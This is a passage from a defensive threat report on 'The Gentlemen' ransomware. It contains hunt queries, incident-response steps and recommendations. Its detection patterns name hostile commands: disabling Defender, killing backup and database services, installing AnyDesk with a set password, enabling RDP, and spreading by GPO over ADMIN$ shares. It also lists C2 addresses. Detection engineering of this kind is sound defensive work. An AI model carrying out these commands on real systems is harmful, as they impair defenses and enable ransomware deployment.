13.3 Detection Validation and Blind Spots

The Sigma and KQL logic above is designed for early triage and should be tested in monitor-only mode first. The command-line flag detection is strong when telemetry captures full process arguments, but it can miss renamed or wrapped execution if the actor changes flags in later builds. The AnyDesk detection will false-positive in environments where AnyDesk is a sanctioned support tool; tune by approved deployment source, signer, software inventory, and helpdesk change windows.

IOC-based C2 detections for `45.86.230[.]112` and `91.107.247[.]163` are useful retrospectively but should not be treated as durable controls. The more durable approach is to monitor unusual `rundll32.exe` network connections, suspicious SOCKS/proxy malware execution, new remote-support tools on servers, and domain-controller-origin software deployment behavior outside approved tooling.

14.1 Hunt Hypotheses

- A The Gentlemen affiliate obtained privileged access before encryption and used domain-controller or admin-host context to stage payloads over SMB/admin shares.
- Pre-encryption activity included defense impairment, backup/service shutdown, RDP/AnyDesk persistence, and credential discovery before the locker ran.

- Ransomware execution will expose password-gated command-line flags, GPO/spread options, or file markers even when hashes differ by affiliate build.
- Affected environments may show perimeter access paths through VPN, OWA/M365, Fortinet/Cisco, RDP, or harvested credential logs before endpoint encryption begins.

14.2 Hunt Queries

<pre>// Hunt 1: ADMIN\$ executable staging from privileged hosts DeviceFileEvents where Timestamp > ago(30d) where FolderPath contains "\\ADMIN\$\\" where FileName endswith ".exe" summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Hosts=dcount(DeviceName), Files=make_set(FileName, 20), Hashes=make_set(SHA256, 20) by InitiatingProcessAccountName, InitiatingProcessDeviceName, InitiatingProcessFileName where Hosts >= 3 or InitiatingProcessDeviceName has_any ("DC", "DOMAIN") order by Hosts desc, LastSeen desc</pre>
<pre>// Hunt 2: GPO-related ransomware spread and forced policy refresh near suspicious process activity DeviceProcessEvents where Timestamp > ago(30d) where ProcessCommandLine has_any ("--gpo", "gpupdate /force", "schtasks /Create /S", "\\ADMIN\$\") project Timestamp, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine order by Timestamp desc</pre>
<pre>// Hunt 3: Defender impairment, backup/database service disruption, and ransomware-style process kills DeviceProcessEvents where Timestamp > ago(30d) where ProcessCommandLine has_any ("Set-MpPreference -DisableRealtimeMonitoring", "taskkill /IM", "sc config", "sc stop") where ProcessCommandLine has_any ("Veeam", "backup", "vss", "SQL", "MSSQL", "postgres", "oracle", "vmms", "vmwp", "Exchange", "DefWatch", "Sophos", "Symantec") summarize Events=count(), Commands=make_set(ProcessCommandLine, 25), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by DeviceName, InitiatingProcessAccountName order by Events desc</pre>
<pre>// Hunt 4: AnyDesk/RDP persistence introduced on servers DeviceProcessEvents where Timestamp > ago(30d) where ProcessCommandLine has_any ("AnyDesk.exe --set-password", "anydesk.exe --install", "fDenyTSConnections", "advfirewall firewall set rule group=\"remote desktop\"") project Timestamp, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine, InitiatingProcessFileName order by Timestamp desc</pre>
<pre>index=wineventlog (EventCode=4688 OR EventCode=1) (CommandLine="--password*" AND (CommandLine="--spread*" OR CommandLine="--gpo*" OR CommandLine="-- full*" OR CommandLine="--ultrafast*)) table _time host user Image CommandLine ParentImage ParentCommandLine</pre>

14.3 Triage Guidance for Hunt Hits

Meaningful hits are strongest when multiple phases line up on the same timeline: perimeter login anomalies, domain admin activity, ADMIN\$ writes, PowerShell download cradles, Defender disablement, service/process termination, remote-support installation, and ransomware flags. A single `taskkill` or AnyDesk event is not enough to declare The Gentlemen, but a cluster of those events around a DC-origin deployment should be escalated as a ransomware intrusion.

For any hit involving `--password` plus ransomware-style flags, isolate the host, preserve volatile evidence if possible, export process and command-line telemetry, collect the binary for offline analysis, and immediately scope lateral movement. If GPO deployment is suspected, prioritize domain controllers, SYSVOL, recent GPO changes, scheduled tasks, and domain admin sessions before spending time on already-encrypted endpoints.

15. Triage and Incident Response

Priority	Action	Owner	Rationale
Critical	Isolate active encryption hosts	IR lead / Windows platform	Prevent further policy-driven

	and suspected staging/DC hosts; disable malicious GPOs; preserve domain-controller evidence		encryption while retaining evidence
Critical	Revoke active attacker sessions and rotate privileged credentials, VPN accounts, service accounts, and mailbox credentials used during the incident	Identity team	The group’s operations depend heavily on valid accounts and domain control
High	Hunt for AnyDesk, RDP enablement, scheduled tasks, Run keys, and remote services created during the intrusion window	EDR / endpoint team	Remove persistence before restoring operations
High	Collect suspected ransomware binaries, encrypted-file samples, ransom notes, command lines, and process trees	Forensics	Enables family confirmation and decryptor viability assessment
High	Validate backup integrity from offline/immutable sources before reconnecting restored systems	Backup / infrastructure	The locker targets backup and database services; online backups may be impaired
High	Scope data theft and DLS exposure, including mailbox abuse and stolen client/customer data	Legal / privacy / IR	The Gentlemen uses dual pressure and data reuse in extortion
Medium	Preserve VPN, firewall, OWA/M365, EDR, proxy, and AD logs from at least 30-60 days before encryption	SOC	Initial access may predate visible ransomware execution
Medium	Notify stakeholders using evidence-based language and avoid relying solely on actor identity attribution	Leadership / legal	The operational facts drive response duties more than persona certainty

Containment should be coordinated. Pulling network connectivity from every host without first stopping malicious GPO or scheduled deployment can leave the organization blind while attackers retain domain persistence. Conversely, waiting for complete attribution can allow encryption to continue. The best sequence is to freeze attacker control paths, preserve DC/identity evidence, isolate active encryption points, rotate credentials, and then proceed through staged recovery.

16. Validation and Emulation

Validation Area	Status	Notes
Source retrieval	Completed	Krebs, Check Point, KELA, and Check Point DFIR source text was retrieved and reviewed in this environment; PRODAFT details were used only through the Krebs

		update due extraction limitations
Local sample hashing	Not completed	No binary sample was provided
Static reverse engineering	Not completed locally	Code behavior summarized from Check Point’s public analysis
Dynamic sandbox execution	Not completed locally	No sample and no build-specific password supplied
Detection logic	Drafted	Sigma, YARA, KQL, and SPL content created from source-backed behavior
IOC sidecar	Completed	`iocs.csv` populated with source-reported indicators and behavioral observables

Safe emulation can be performed without executing malware by replaying benign equivalents of the observed commands in a lab: create test process events containing the reported ransomware flags, simulate scheduled task creation, generate a harmless ADMIN\$ copy event between lab hosts, and test SIEM/EDR logic for `Set-MpPreference` attempts in audit mode. Do not run a real The Gentlemen sample outside a contained malware lab with snapshots, no production credentials, and isolated networking.

17. Recommendations

Priority	Owner	Action	Rationale
Critical	Infrastructure / network	Patch and continuously assess VPN, Fortinet, Cisco, firewall, OWA/M365, ESXi, Veeam, and exposed management surfaces	Public reporting shows The Gentlemen prioritizes perimeter and backup/virtualization exposure
Critical	Identity	Enforce phishing-resistant MFA for VPN, OWA/M365, admin portals, and privileged accounts; monitor impossible travel and new device registration	Valid-account abuse and credential logs are recurring access paths
Critical	Backup / DR	Validate offline/immutable backups and perform restore tests for AD, file servers, databases, ESXi, and critical applications	Locker targets backups, databases, virtualization, and enterprise-wide encryption
High	SOC / detection engineering	Deploy detections for ransomware flags, GPO deployment, ADMIN\$ staging, Defender disablement, AnyDesk/RDP persistence, SystemBC/Cobalt Strike behavior, and backup-service termination	Pre-encryption detections provide the best opportunity to stop impact
High	Windows platform	Alert on broad GPO creation/modification, remote scheduled task creation, and DC-origin executable	Check Point observed GPO-based ransomware execution

		deployment outside approved tools	
High	EDR / endpoint	Block or require approval for unapproved remote-support tools on servers, including AnyDesk, TeamViewer, and unknown RMM utilities	Remote access tools are persistence and operator control channels
High	Vulnerability management	Track CVE-2023-34039, CVE-2024-55591, CVE-2025-32433, CVE-2025-33073, and related edge-device advisories in exposure dashboards	These CVEs appear in leaked operator discussions and reporting
Medium	Email / collaboration	Monitor OWA/M365 mailbox abuse, internal reply-chain phishing, suspicious forwarding, and mailbox-based extortion drafts	KELA reports OWA use for access and pressure workflows
Medium	Threat intel	Treat persona attribution as enrichment, not blocking logic; maintain behavior-led detection and incident playbooks	Actor handles and infrastructure change faster than intrusion methods
Medium	Legal / communications	Pre-stage ransomware notification, data-theft, and negotiation decision trees	The group applies regulatory, reputational, and operational pressure during negotiations

18. References and Refresh Notes

- [1] KrebsOnSecurity, “Who Runs the Ransomware Group ‘The Gentlemen?’”, published 2026-06-10, <https://krebsonsecurity.com/2026/06/who-runs-the-ransomware-group-the-gentlemen/>
- [2] Check Point Research, “DFIR Report – The Gentlemen & SystemBC: A Sneak Peek Behind the Proxy”, published 2026-04-20, <https://research.checkpoint.com/2026/dfir-report-the-gentlemen/>
- [3] Check Point Research, “Thus Spoke...The Gentlemen”, published 2026-05-13, <https://research.checkpoint.com/2026/thus-spoke-the-gentlemen/>
- [4] KELA Cyber Intelligence Center, “Inside The Gentlemen Leak: How a New RaaS Captured 10% of 2026’s Global Ransomware Victims”, updated 2026-05-14, <https://www.kelacyber.com/blog/the-gentlemen-ransomware-internal-chat-leak-analysis-2026/>
- [5] PRODAFT, “Inside the Phantom Mantis Operation”, cited in KrebsOnSecurity update 2026-06-11, <https://catalyst.prodaft.com/public/report/inside-the-phantom-mantis-operation/overview>
- [6] KrebsOnSecurity supporting translated `@pntst` chat extract, <https://krebsonsecurity.com/wp-content/uploads/2026/06/pntst-chat.txt>

Refresh notes: Revalidate victim counts, C2 IPs, onion/DLS locations, TOX IDs, and sample hashes before operational blocking because RaaS infrastructure and affiliate builds change quickly. If a client provides a binary, rerun this report through local static analysis, Ghidra/radare2 review, FLOSS/strings extraction, controlled detonation, and IOC regeneration. If incident telemetry is available, replace source-backed assumptions with observed process trees, hashes, user/session records, and network flows.